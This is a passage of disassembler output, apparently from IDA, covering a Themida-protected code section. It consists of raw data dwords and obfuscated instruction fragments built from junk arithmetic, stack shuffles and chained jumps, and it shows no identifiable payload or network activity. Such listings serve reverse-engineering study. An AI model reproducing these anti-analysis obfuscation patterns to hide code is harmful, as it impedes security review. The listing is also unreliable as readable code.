		dd 0FD3AE9h, 24048B00h,	81E28952h, 4C2h, 4C28100h, 87000000h
		dd 815C2414h, 4EBh, 1845E900h, 0FB090001h, 19CDE95Fh, 0F9290001h
		dd 0FFCA295Fh, 0C8B2434h, 0E0BDE924h, 0BA520000h, 197A6F4Dh
		dd 57C2C281h, 0E2C11B94h, 7EAC104h, 0DAF7D2F7h,	0EAE0F281h
		dd 0D1012247h, 8324148Bh, 814904C4h, 7BB51BC1h,	8BCF29F6h
		dd 0C481240Ch, 4, 34FFFB01h, 0C4815F24h, 4, 4C381h, 28E90000h
		dd 81FFFFE0h, 0A45A71F7h, 69C28120h, 29740330h,	69EA81FAh
		dd 5F740330h, 0C281EA01h, 6BB56AFFh, 68242C8Bh,	2EFh, 0E9240489h
		dd 73E2h, 3158C289h, 0D10159CAh, 0E924148Bh, 2B52h, 28E7EE80h
		dd 50665AF3h, 0E96DB252h, 91BAh, 42474FFh, 24048F5Fh, 0F624248Bh
		dd 0B60F66F1h, 0AE955CCh, 5D000083h, 4BE56h, 0DE90000h
		dd 1000106h, 0FBB951EEh, 14CDC22h, 240C8BCEh, 4C481h, 29E90000h
		db 26h,	2 dup(0)
byte_561357	db 66h			; DATA XREF: Themida_:0055DF98o
		dd 68240C8Bh, 3BACh, 83242C89h,	148904ECh, 55E28924h, 600B10BDh
		dd 0DAED814Ch, 810DEA1Fh, 0BD1022C5h, 0ACC58115h, 1ABCD04h
		dd 0E9575DEAh, 314Dh, 81FB015Eh, 0A0622CC3h, 243C8B1Fh
		dd 719968h, 241C8900h, 0C381E389h, 4, 4BE56h, 0F3010000h
		dd 241C335Eh, 68C1E9h, 243C8900h, 16E95F5Ah
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5613C3:				; CODE XREF: Themida_:00567CEFj
		mov	ebp, 6EA317A2h
		or	ebx, ebp
		pop	ebp
		jmp	loc_565872
; ---------------------------------------------------------------------------


loc_5613D0:				; CODE XREF: Themida_:00563873j
		mov	eax, 2AF51CD3h
		jmp	loc_5726A0
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24048F04h, 0FFD042E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5613E5:				; CODE XREF: Themida_:00566398j
		mov	ebp, eax
		mov	ebx, ebp
		mov	ebp, [esp]
		push	4B2Ch
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 4
		sub	ecx, 6F945932h
		add	ecx, ebx
		push	edi
		mov	edi, 62D6452Bh
		sub	edi, 6E0E3BCEh
		push	ecx
		mov	ecx, 739961E3h
		shr	ecx, 7
		jmp	loc_5666D6
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 0F7000000h, 31E956D7h, 50000022h, 668E089h
		dd 0E9000053h, 0FFFFD5D7h, 2434FF5Ch, 1FB56858h, 34890000h
		dd 685E5424h, 3B35h, 0BB241C89h, 61D65362h, 4EC81h, 84E90000h
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561463:				; CODE XREF: Themida_:0056507Bj
		xor	edi, 1A08316Ah
		pop	ecx
		add	edi, 0E3BB6781h
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56AA76
; ---------------------------------------------------------------------------


loc_561480:				; CODE XREF: Themida_:00566EE7j
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		add	ebx, eax
		sub	ebx, 532402E3h
		xor	edx, eax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		dd 24048F66h, 9E8EE9h, 28B7B200h, 240C8BEAh, 0F515E9h
		dd 5AD60100h, 712F68h, 240C8900h, 4B9h,	32EE8100h, 8174A366h
		dd 29169DC6h, 0E9CE012Dh, 1081Bh
; ---------------------------------------------------------------------------


loc_5614D0:				; CODE XREF: Themida_:0056384Aj
		neg	edi
		xor	edi, 0F08788D6h
		jmp	loc_5703AD
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 3404h, 0D978C5BFh, 89CF8153h, 813A0118h
		dd 866F39EFh, 5FFB293Dh, 5E8AE9h, 14F75200h, 24148B24h
		dd 4C481h, 0E2C10000h, 4AD2F704h, 0A136F281h, 0EAC10AB2h
		dd 5EAC102h, 7AF1E9h, 24148B00h, 4C481h, 0C7810000h, 2
		dd 8904EC83h, 74FF243Ch, 34FF0424h, 0C4815F24h,	4, 0E924048Fh
		dd 41C1h, 0E924048Fh, 5A00h
; ---------------------------------------------------------------------------


loc_561558:				; CODE XREF: Themida_:00566AEAj
		sub	ebp, 2D5330ABh
		shr	ebp, 7
		inc	ebp
		xor	ebp, 443C1902h
		dec	ebp
		not	ebp
		add	ebp, 8471844Bh
		sub	esi, ebp
		pop	ebp
		add	eax, esi
		jmp	loc_569992
; ---------------------------------------------------------------------------
		db 81h
		dd 0D833E2CDh, 0D3C5811Eh, 0E9E49EFFh, 867Eh
; ---------------------------------------------------------------------------


loc_56158C:				; CODE XREF: Themida_:005668C7j
		pop	ecx
		jmp	loc_56038C
; ---------------------------------------------------------------------------


loc_561592:				; CODE XREF: Themida_:00562E22j
		mov	[esp], edi
		push	731A0D34h
		pop	edi
		push	36B9h
		mov	[esp], edx
		mov	edx, 731A0D35h
		xor	edi, edx
		pop	edx
		push	ebx
		mov	ebx, edi
		mov	esi, ebx
		pop	ebx
		push	dword ptr [esp]
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 6A682342h
		not	ecx
		or	ecx, 479667A1h
		inc	ecx
		shl	ecx, 5
		add	ecx, 0D000844h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		jmp	loc_56BCDA
; ---------------------------------------------------------------------------
		dd offset dword_427F68
		dd 0A4F0E900h, 0C870000h, 0C4815C24h, 4, 0E99CC83Bh, 0FFFFCAA3h
		dd 9F5815Bh, 5373927Fh,	6A3346BBh, 4EBC172h, 8107E3C1h
		dd 0C27588C3h, 8BDD01B4h, 0C481241Ch, 4, 15DEF01h, 82B951EFh
		dd 5377EF6Ch, 0F31BD0BBh, 0E941E91Ch, 0D389FFFFh, 0EBD14B5Ah
		dd 0BD1BE9h
		db 0
; ---------------------------------------------------------------------------


loc_561641:				; CODE XREF: Themida_:0056C5D0j
		push	edx
		mov	edx, 0E581D067h
		add	ebp, edx
		jmp	loc_569E95
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 111F5h, 7567BA52h, 5FE9462Bh, 81000042h, 4C4h, 4EC8300h
		dd 0E9241489h, 262Ch
; ---------------------------------------------------------------------------


loc_561670:				; CODE XREF: Themida_:00566571j
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56F00B
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFCA1Bh, 4BA52h, 0D0010000h, 4055Ah, 4870000h, 0C875C24h
		dd 0F4AAE924h, 74FFFFFFh, 0E9580424h, 0E93Dh
; ---------------------------------------------------------------------------


loc_5616A8:				; CODE XREF: Themida_:00569129j
		sub	ebx, 0FE8EE1D2h
		mov	esi, ebx
		jmp	loc_56DFFC
; ---------------------------------------------------------------------------
		db 57h,	81h, 4
		dd 65142424h, 0EA815A4Ah, 4A651424h, 0F7F7E95Fh, 431FFFFh
		dd 0CCE99C24h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5616D3:				; CODE XREF: Themida_:0056855Cj
		add	ecx, ebx
		add	ecx, 691E7FE4h
		jmp	loc_5628D5
; ---------------------------------------------------------------------------
		dd 0B5EF815Fh, 0C171032Ah, 0F78104EFh, 0CFF3FDh, 67E9FB89h
		dd 8000008Fh, 0E68025EEh, 3E6C062h, 288EF680h, 0E0685AF0h
		dd 0E900000Fh, 3942h, 0E92434FFh, 8EF9h, 83242489h, 0FF042404h
		dd 525A2434h, 5973E9h, 51E08900h, 0C181E189h, 4, 4E981h
		dd 0C870000h, 24248B24h, 52242C89h, 1D38B6BAh, 8E2C10Dh
		dd 7EBBEA81h, 0C28142E6h, 25ADC8BFh, 15AD589h, 910E9E8h
		dd 0EB810001h, 4AE448E2h, 0C381FB29h, 4AE448E2h, 5F2434FFh
		dd 104C483h, 5543E9C3h,	34890000h, 397EBE24h, 0E9465004h
		dd 0BF4Ch
; ---------------------------------------------------------------------------


loc_56178C:				; CODE XREF: Themida_:0056CD5Dj
		pop	esi
		shl	edi, 8
		xor	edi, 372B6811h
		jmp	loc_567081
; ---------------------------------------------------------------------------
aHr		db '\hR>',0
		dd 241C8900h, 50515052h, 612CDFB0h, 88C68852h, 48B5AF5h
		dd 4C48324h, 0E959EC88h, 0CEB8h, 0F17FD005h, 4FB42D31h
		dd 5487BD1h, 8CC2C302h,	2F6AEE81h, 0C6012FF0h, 2F6AC681h
		dd 1582FF0h, 0EAA6E9DEh, 6855FFFFh, 3535215Ah, 0E8D8E95Dh
		db 2 dup(0)
off_5617F2	dd offset dword_50A448+420h ; DATA XREF: Themida_:0055DE68o
		dw 6800h
		dd 1FDh, 24048F54h, 4240483h, 5724048Fh, 4F2ABA52h, 0E9503A4Bh
		dd 985Eh
dword_561814	dd 0E92434FFh, 54CAh	; DATA XREF: Themida_:0055DE40o
; ---------------------------------------------------------------------------


loc_56181C:				; CODE XREF: Themida_:00563CC7j
		pop	esi
		jmp	loc_5660AE
; ---------------------------------------------------------------------------
		dw 2BFh
		dd 53000000h, 0B12C79BBh, 0C244E977h, 0BB530000h, 4, 535BDA01h
		dd 4BBh, 5BDA0100h, 5C241487h, 1CEA68h,	241C8900h, 88AFB050h
		dd 24048BC3h, 4C481h, 9A040000h, 0AD568h, 6A33E900h, 0C2810000h
		dd 1BB8068Ch, 482FBF57h, 814740A3h, 6123A5E7h, 1C78111h
		dd 53000000h, 495C5DBBh, 5BDF315Dh, 835FFA01h, 36E904ECh
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561897:				; CODE XREF: Themida_:00571BDDj
		push	7AF1h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_566668
; ---------------------------------------------------------------------------
		db 0B8h, 42h, 68h
		dd 0E92578B5h, 5656C41h, 42446451h, 0F35D8F7h, 2D18AB1Dh
		dd 0FE44F121h, 0C158C521h, 43E908EDh, 8300006Eh, 0C38104C4h
		dd 70534BBFh, 0EB81CB01h, 70534BBFh, 34FF0388h,	0EC9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5618EA:				; CODE XREF: Themida_:005667F7j
		mov	[esp], eax
		mov	eax, 3DA73237h
		jmp	loc_561C34
; ---------------------------------------------------------------------------
aPQrJaASB	db 'P°ÊQR¶†€ÎÉ€ÆÏé°¡',0
		db 0
; ---------------------------------------------------------------------------


loc_561909:				; CODE XREF: Themida_:0056043Aj
		add	esi, edi
		pop	edi
		push	esi
		jmp	loc_563930
; ---------------------------------------------------------------------------


loc_561912:				; CODE XREF: Themida_:00562C7Aj
		pop	esp
		push	2A98h
		mov	[esp], edx
		push	ecx
		jmp	loc_56ED76
; ---------------------------------------------------------------------------
byte_561921	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:0055E004o
		dd 0FFFFC777h, 7A05D029h, 8B32BA2Bh, 0C4812414h, 4, 0D7BE5652h
		dd 8975D07Ch, 874A5EF2h, 9CE94EF2h, 89000041h, 1CDE9E1h
		dd 0EA830000h, 24148704h, 0A0EE9h, 5F456800h, 14890000h
		dd 19CEBA24h, 3CE97FF8h, 5BFFFFD5h, 2918F505h, 2DE80167h
		dd 672918F5h, 1A93BB53h, 0D3F776CBh, 0C381DBF7h, 0BFBD0BE1h
		dd 0E95BD801h, 3792h, 0D15AD031h, 15E505E8h, 0B72D2E87h
		dd 8161C1CBh, 911E75EFh, 81C72933h, 911E75C7h, 0EC835833h
		dd 242C8904h, 0CE2E9h, 95C18100h, 5B257C76h, 15D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5619C9:				; CODE XREF: Themida_:005719C8j
		sub	ebx, 27E00D3Dh
		pop	esi
		add	ebx, 18E90473h
		sub	ebx, 78433A2Bh
		sub	ebx, eax
		add	ebx, 78433A2Bh
		sub	ebx, 18E90473h
		push	ecx
		mov	ecx, 281C26C0h
		shl	ecx, 2
		jmp	loc_5645FF
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFEFB5h, 8B2434FFh, 0C481243Ch, 4, 53E95457h
		db 0C9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561A13:				; CODE XREF: Themida_:00560CABj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_563BFF
		push	dword ptr [edi+1Ch]
		jmp	loc_565409
; ---------------------------------------------------------------------------
		db 5Fh,	87h, 14h
		dd 1C895C24h, 0B576E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561A3A:				; CODE XREF: Themida_:0056DFEAj
		jmp	loc_562228
; ---------------------------------------------------------------------------
		db 33h
		dd 83E9241Ch, 81000030h, 0BD24F9F6h, 725B2D6Bh,	0F029716Bh
		dd 6B725B05h, 0C7315E71h, 38E95258h, 83000044h,	814EFFEEh
		dd 0F2373CEEh, 0BCF6810Ch, 2958665Ah, 4C6E9F3h
		db 1, 0
; ---------------------------------------------------------------------------


loc_561A7A:				; CODE XREF: Themida_:00565206j
		xor	ecx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5675F4
; ---------------------------------------------------------------------------
		db 29h,	0C7h, 0E9h
		dd 0FFFFF572h, 0AC68h, 240C8900h, 3B04E9h
		db 0
; ---------------------------------------------------------------------------


loc_561A99:				; CODE XREF: Themida_:0055EE5Dj
		mov	edi, esp
		push	eax
		mov	eax, 77414574h
		jmp	loc_563002
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd offset dword_5B9768
		dd 240C8900h, 79DAB850h, 0ABE9775Eh, 810000FFh,	98775BC1h
		dd 59CD01BBh, 2C8BE801h, 4C48324h, 2006E9h
		db 0
; ---------------------------------------------------------------------------


loc_561AD1:				; CODE XREF: Themida_:005687A2j
		pop	ebp
		shr	ebp, 6
		shl	ebp, 4
		inc	ebp
		push	edi
		mov	edi, 0C987B7A1h
		xor	ebp, edi
		pop	edi
		mov	eax, ebp
		pop	ebp
		add	eax, edx
		pop	edx
		sub	dword ptr [esp+4], 79BE3EF7h
		add	[esp+4], eax
		add	dword ptr [esp+4], 79BE3EF7h
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_562438
; ---------------------------------------------------------------------------
		db 5
		dd 10341F3Dh, 0DFE95159h, 810000CCh, 4C1h, 4C18100h, 87000000h
		dd 248B240Ch, 0F1A4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561B36:				; CODE XREF: Themida_:005631A5j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	7E0Eh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, 6A294A93h
		inc	edi
		jmp	loc_56A194
; ---------------------------------------------------------------------------


loc_561B5D:				; CODE XREF: Themida_:00560500j
		push	0CFCh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 5D317E9Dh
		push	ebp
		mov	ebp, 0A2CE8167h
		add	ecx, 37C4647Eh
		add	ecx, ebp
		push	edi
		mov	edi, 4A2C65E4h
		shr	edi, 3
		shr	edi, 4
		sub	edi, 0C8CFF44Dh
		jmp	loc_57154D
; ---------------------------------------------------------------------------
		db 68h,	0B4h, 7Eh
		dd 73E90000h
		db 0F3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561BA7:				; CODE XREF: Themida_:0055FB10j
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5636CF
; ---------------------------------------------------------------------------
		dd 87243489h, 0D5F7242Ch, 5AA9E9h, 9C516600h, 0FFC4D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561BCD:				; CODE XREF: Themida_:00569F52j
		neg	eax
		jmp	loc_56F448
; ---------------------------------------------------------------------------
		dd 0BE565B54h, 65746037h, 2DBA5250h, 8978541Bh,	24148BD0h
		dd 0FFE4E5E9h, 4EF83FFh, 5C243C87h, 68241C89h, 4F850F6Fh
		dd 1723685Bh, 4890000h,	0C6FDE924h, 0EF870000h,	85E95752h
		dd 90000E0h, 15DEE9CFh,	0E9510000h, 0FFFFDBB9h
; ---------------------------------------------------------------------------


loc_561C20:				; CODE XREF: Themida_:00564395j
		mov	edx, edi
		jmp	loc_56C6CD
; ---------------------------------------------------------------------------
aFx0FyiusK	db 'fX0ìfYˆãéÈK',0
		align 4


loc_561C34:				; CODE XREF: Themida_:005618F2j
		xor	eax, 0F238C958h
		jmp	loc_562AE8
; ---------------------------------------------------------------------------


loc_561C3E:				; CODE XREF: Themida_:005702FFj
		add	ebx, ebp
		sub	ebx, 69FD37DEh
		jmp	loc_5724DD
; ---------------------------------------------------------------------------
		db 58h
		dd 8304C483h, 1C8904ECh, 83E38924h, 3C8904ECh, 5DE8BF24h
		dd 0BA524CA7h, 1, 0D8E1E9h, 24148900h, 42474FFh, 24048F5Ah
		dd 6624248Bh, 0E9241489h, 0B9EEh, 31242C33h, 2C33242Ch
		dd 24248B24h, 52C8B60Fh, 11ABE9h, 81CF0100h, 0D105BEEFh
		dd 240C8B1Bh, 8304C483h, 3C8704C7h, 0B60F5C24h,	0CDB4E9C0h
		dd 0EA81FFFFh, 0A310884h, 8104EAC1h, 0C83E2EEAh, 5AD301CAh
		dd 8F8FE9h, 0D6295B00h,	4EC81h,	1C890000h, 791CBB24h, 0EB810296h
		dd 0C43F1505h, 622CEE81h, 0DE0101BCh, 80FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_561CF1:				; CODE XREF: Themida_:00562E17j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56A308
; ---------------------------------------------------------------------------
		dd 1A34360Ch, 48BC128h,	4C48324h, 363968h, 0C0F9E900h
		dd 0F3800000h, 0F5F380FCh, 805BDE88h, 0CEFEC7C6h, 8030EE80h
		dd 0F73097C6h, 0CBA3E95Ah, 2C8BFFFFh, 4C48124h,	81000000h
		dd 7C73EC3h, 5BDD89EFh,	0FD041105h, 0E9E82959h,	1365h
		dd 0DC885059h, 0B53E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561D56:				; CODE XREF: Themida_:00570C79j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55E567
; ---------------------------------------------------------------------------
		dw 0C31h
		dd 240C3324h, 0E924248Bh, 0B59Dh, 755FC681h, 0A4E95CE2h
		dd 81FFFFD5h, 4C7h, 4EF8100h, 87000000h, 0E95C243Ch, 5C54h
		dd 736BBF57h, 7FBD1048h, 315017D6h, 243C8BFDh, 1786E9h
		dd 24248B00h, 0E9243C33h, 555Ah
; ---------------------------------------------------------------------------


loc_561DBC:				; CODE XREF: Themida_:00570F15j
		pop	edi
		add	ebp, 3BB266Eh
		add	ebp, eax
		sub	ebp, 3BB266Eh
		jmp	loc_569555
; ---------------------------------------------------------------------------


loc_561DD0:				; CODE XREF: Themida_:00565B4Cj
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_572AF5
; ---------------------------------------------------------------------------
		db 80h
		dd 0CAFE15C2h, 0E956C280h, 0F1AEh, 0EA685051h, 586D5D43h
		dd 0D63AE940h, 0EF83FFFFh, 243C8704h, 0FFCEA0E9h, 0E9CF01FFh
		dd 562Eh
dword_561E18	dd 50D830ACh, 405E089h,	50000000h, 405E089h, 2D000000h
					; DATA XREF: Themida_:0055E038o
		dd 4, 31240433h, 4332404h, 7F8E924h, 4870001h, 2434FF24h
		dd 0FFDE7CE9h, 0EB8166FFh, 0CAE946D8h, 550000D2h, 0AE4E09BDh
		dd 45C58164h, 1CFA6F7h,	0D7015DEFh, 454EEF81h, 148B3455h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 4B68FD5Ch
		dd 89000004h, 57502434h, 24100B68h, 0DFF75F6Bh,	0EAFFEF81h
		dd 61E97A97h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561E9B:				; CODE XREF: Themida_:005699A5j
		push	edi
		jmp	loc_56C87D
; ---------------------------------------------------------------------------


loc_561EA1:				; CODE XREF: Themida_:0056D815j
		push	206Eh
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_55E7F5
; ---------------------------------------------------------------------------
		db 83h
		dd 0C28304C4h, 24148704h, 0FFC420E9h, 0D067B7FFh, 0A8C780E7h
		dd 0F606EFC0h, 7EEF80DFh, 285BF988h, 5621E9D1h,	4050000h
		dd 83000000h, 48704E8h,	14895C24h, 1D30BA24h, 0FF520546h
		dd 148B2404h, 0E0895024h, 4BE56h, 0F0010000h, 4C0835Eh
		dd 5C240487h, 3D6FE94Ah, 0EC810000h, 4,	89242C89h, 4C581E5h
		dd 81000000h, 4C5h, 13BFE900h, 0ED810000h, 8FBD0913h, 15DEB01h
		dd 0D34EE9DDh, 0CE810000h, 6225A56h, 2B57E681h,	0E6816129h
		dd 1664D46h, 33D9EE81h,	0C68154EFh, 0AED59F07h,	1FE9F721h
		dd 80000CDh, 0B7535BDDh, 96F780ACh, 0E7C0C7FEh,	376CE902h
		dd 0C4810000h, 4, 0E9595451h, 1087Bh
dword_561F80	dd 0E92434FFh, 0FFFFF102h ; DATA XREF: Themida_:0055DFC4o
; ---------------------------------------------------------------------------


loc_561F88:				; CODE XREF: Themida_:00565765j
		xchg	edx, edi
		push	edx
		not	dword ptr [esp]
		pop	edx
		xchg	edx, edi
		xchg	edi, edx
		xchg	edx, edi
		shl	edi, 2
		or	edi, 7FA30D6Dh
		add	edi, 8040D097h
		add	ebp, 19C11B59h
		add	ebp, edi
		push	edi
		mov	edi, 19C11B59h
		sub	ebp, edi
		jmp	loc_56B281
; ---------------------------------------------------------------------------
		db 66h,	5Ah, 66h
		dd 557DF181h, 51E98166h, 0CE89664Ch, 592434FFh,	6604C483h
		dd 681BEE05h, 125h, 66243489h, 6624D468h, 0F681665Eh, 1667572h
		dd 97E95EF0h, 810000D8h, 4C4h, 0F1B2E900h, 0C789FFFFh
		dd 4EC8158h, 89000000h,	9DB82404h, 0E9412A3Dh, 106F4h
		dd 271C2D5Ah, 0E8E96773h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56201B:				; CODE XREF: Themida_:0055F96Dj
		mov	edi, 0FF8945ECh
		push	esi
		mov	esi, 4B356671h
		sub	edx, esi
		pop	esi
		jmp	loc_569B06
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 2D770364h, 65CFB951h, 5FE9468Eh, 890000B9h, 4C781E7h
		dd 81000000h, 4C7h, 0A54BE900h
		db 2 dup(0)
word_562052	dw 8B66h		; DATA XREF: Themida_:0055DF38o
		dd 5BE9240Ch, 89000080h, 0E734E9E2h
		db 2 dup(0)
aNwpsi		db '­WPéIµ',0           ; DATA XREF: Themida_:0055E024o
		align 2
		dw 0B252h
		dd 0CBF280D1h, 807ACA80h, 0D4287CEAh, 0FFE605E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56207D:				; CODE XREF: Themida_:00570224j
		idiv	cl
		jmp	loc_55F2B8
; ---------------------------------------------------------------------------


loc_562084:				; CODE XREF: Themida_:0056D234j
		mov	edi, 6A6A5A3Ch
		jmp	loc_56D482
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 81242C8Bh, 4C4h, 0C001E900h,	0F381FFFFh, 1AA13955h
		dd 0C406E9h, 4BD5500h, 0E9000000h, 0C161h, 0E9240C33h
		dd 534Ah
; ---------------------------------------------------------------------------


loc_5620BC:				; CODE XREF: Themida_:005661C6j
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 40B73419h
		push	edx
		mov	edx, 59245397h
		and	ebx, edx
		pop	edx
		shr	ebx, 1
		push	144Ch
		mov	[esp], ebx
		jmp	loc_56B413
; ---------------------------------------------------------------------------
aNursr_		db '­URéà_',0           ; DATA XREF: Themida_:0055E010o
		dd 241C3300h, 0A0EB815Ch, 5238F318h, 384061BAh,	6B41E93Fh
		dd 0F5810000h, 65700697h, 0A6E9EE01h, 81FFFFD2h, 4661B0E9h
		dd 1E98312h, 8149D1F7h,	0F25E1FF1h, 0F0EB8111h,	81703567h
		dd 7D0B13EBh, 81CB0115h, 7D0B13C3h, 0F0C38115h,	8B703567h
		dd 0C483240Ch, 0EC815004h, 4, 0E9243C89h, 0C3C6h, 2538BE56h
		dd 0CE811E36h, 3F4C60AAh, 4EC81h, 3C890000h, 0FE6EE924h
		dd 31680000h, 0E9000062h, 6AD6h, 8904EC83h, 0E389241Ch
		dd 6A21BA52h, 0E2C102A7h, 0CEA8104h, 12A76A2h, 0F45CE9D3h
		dd 0EA890000h, 66A5E9h,	0C3015A00h, 4C8EC381h, 8F66244Eh
		dd 0CBEFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5621B2:				; CODE XREF: Themida_:005638CAj
		pop	ebp
		add	esp, 4
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_569DC5
; ---------------------------------------------------------------------------


loc_5621C4:				; CODE XREF: Themida_:0056C29Aj
		pop	ebx
		push	ebx
		mov	ebx, 4
		add	ecx, 6E2F0F38h
		add	ecx, ebx
		sub	ecx, 6E2F0F38h
		pop	ebx
		jmp	loc_56D32A
; ---------------------------------------------------------------------------


loc_5621DF:				; CODE XREF: Themida_:0056D2D1j
		pop	ecx
		push	63A0h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56971A
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0C381E389h, 4, 5304C383h, 42474FFh, 24048F5Bh, 2B64685Ch
		dd 56E90000h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562217:				; CODE XREF: Themida_:00570A35j
		add	edx, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5680B2
; ---------------------------------------------------------------------------


loc_562224:				; CODE XREF: Themida_:00571655j
		pop	dword ptr [esp]
		pop	esp


loc_562228:				; CODE XREF: Themida_:0055FDF7j
					; Themida_:loc_561A3Aj
		mov	ebx, [esp]
		jmp	loc_568611
; ---------------------------------------------------------------------------
		dd 5C243433h, 5C3EBB53h, 0E94B154Fh, 2A3Eh
; ---------------------------------------------------------------------------


loc_562240:				; CODE XREF: Themida_:00561085j
		xor	edx, [esp]
		mov	esp, [esp]
		sub	[esp], ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		dd 4BF57h, 7C010000h, 3CE90424h, 56000108h, 0D90CF7BEh
		dd 0C1DEF711h, 0F68105E6h, 9F5F468Dh, 0F75EF531h, 49CD87DDh
		dd 595D5155h, 5606E5C1h, 0FE2194BEh, 4F10E915h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56228A:				; CODE XREF: Themida_:00570530j
		pop	eax
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	ebx, 1
		push	52B1h
		mov	[esp], edx
		push	ecx
		mov	ecx, 144446F0h
		sub	esp, 4
		jmp	loc_567C20
; ---------------------------------------------------------------------------


loc_5622AE:				; CODE XREF: Themida_:0056FFA7j
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		jmp	loc_567B9A
; ---------------------------------------------------------------------------
		db 89h
		dd 0F38958C6h, 242C8B5Eh, 81E38953h, 4C3h, 174E900h
		db 2 dup(0)
word_5622D2	dw 6866h		; DATA XREF: Themida_:0055DF1Co
		dd 54664068h, 0FFF1BBE9h, 24148BFFh, 4C481h, 41680000h
		dd 89000053h, 0BF572414h, 2, 0FFF3BCE9h, 0E9E901FFh, 97CFh
; ---------------------------------------------------------------------------


loc_562300:				; CODE XREF: Themida_:00562A76j
		xchg	ebp, ecx
		jmp	loc_563A9E
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 83000000h,	2AE904C6h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562317:				; CODE XREF: Themida_:0056414Bj
		pop	ebx
		jmp	loc_563522
; ---------------------------------------------------------------------------
		db 0BBh, 90h, 0F3h
		dd 5E9FC91h, 810000A9h,	0B82F05F3h, 5BD9018Ah, 5C240C87h
		dd 0E5E95251h, 0B800006Eh, 52C16B36h, 0EA34680Dh, 7C142D01h
		dd 682D1AB3h, 0E9393803h, 0A13Bh, 4BEh,	0DF81E900h, 0C483FFFFh
		dd 0FFC58004h, 4BE95266h, 5CFFFFD1h, 0F0C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_562371:				; CODE XREF: Themida_:00568A90j
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_568785
; ---------------------------------------------------------------------------


loc_56237F:				; CODE XREF: Themida_:0056866Dj
		sub	ch, 63h
		shr	ch, 5
		inc	ch
		jmp	loc_56708C
; ---------------------------------------------------------------------------


loc_56238C:				; CODE XREF: Themida_:00560638j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_562391:				; CODE XREF: Themida_:00570E7Ej
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_568804
; ---------------------------------------------------------------------------
		dd 24048F54h, 4240483h,	10639E9h, 5E545600h, 3717E957h
		dd 0A0BD0000h, 892B9C11h, 2434FFEEh, 0E9242C8Bh, 6563h
